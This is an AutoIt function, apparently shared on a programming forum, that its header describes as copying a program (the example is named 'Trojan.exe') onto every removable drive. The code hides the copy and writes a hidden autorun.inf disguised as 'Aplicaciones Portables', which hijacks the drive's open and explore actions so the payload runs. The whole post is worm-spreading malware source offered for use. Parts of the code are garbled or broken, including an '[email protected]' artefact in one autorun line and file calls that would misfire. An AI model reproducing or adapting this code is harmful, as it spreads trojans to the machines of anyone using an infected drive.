[AutoIt] USB spreader function

; #FUNCTION# ===========================================================================================================

; Name...........: __Spreader

; Description ...: Copys a program in all USB and creates a autorun.

; Syntax.........: _Spreader ($program,nombre)

; Parameters ....: $program - The route of the program, must be complete, Ej: C:\Users\User\AppData\Roaming\TrojanFolder\Trojan.exe

;                                  $nombre - The name of the program, this will be used in the AutoRun. Must be like this, Ej: "TrojanName.exe"

; Author ........: 0b3y

; ===============================================================================================================================

 

Func _Spreader($program,$nombre)

$todos_drive=DriveGetDrive("REMOVABLE")

For $i=1 To $todos_drive[0]

   If $todos_drive[$i]="a:" Then

          ContinueLoop

   EndIf

   If Not FileExists($todos_drive[$i]&"\"&$program) Then FileCopy($program,$todos_drive[$i])

          FileSetAttrib($todos_drive[$i]&"\"&$program,"+H")

   If Not FileExists($todos_drive[$i]&"\"&"autorun.inf") Then

          $ifile=FileOpen($todos_drive[$i]&"\autorun.inf")

          FileWrite($ifile,"[Autorun]"&@CRLF&"Open="&$nombre&@CRLF&"Icon="&$nombre&@CRLF&"Label=Aplicaciones Portables"&@CRLF&"UserAutoPlay=1"&@CRLF&"action=Abrir USB"&@CRLF&"[email protected]"&$nombre&@CRLF&"shell\open=Abrir"&@CRLF&"shell\open\Command="&$nombre&@CRLF&"shell\explore=explorar"&@CRLF&"shell\explore\Command="&$nombre)

          FileClose($ifile)

          FileSetAttrib($todos_drive[$i]&"\autorun.inf","+H")

          EndIf

Next

 

EndFunc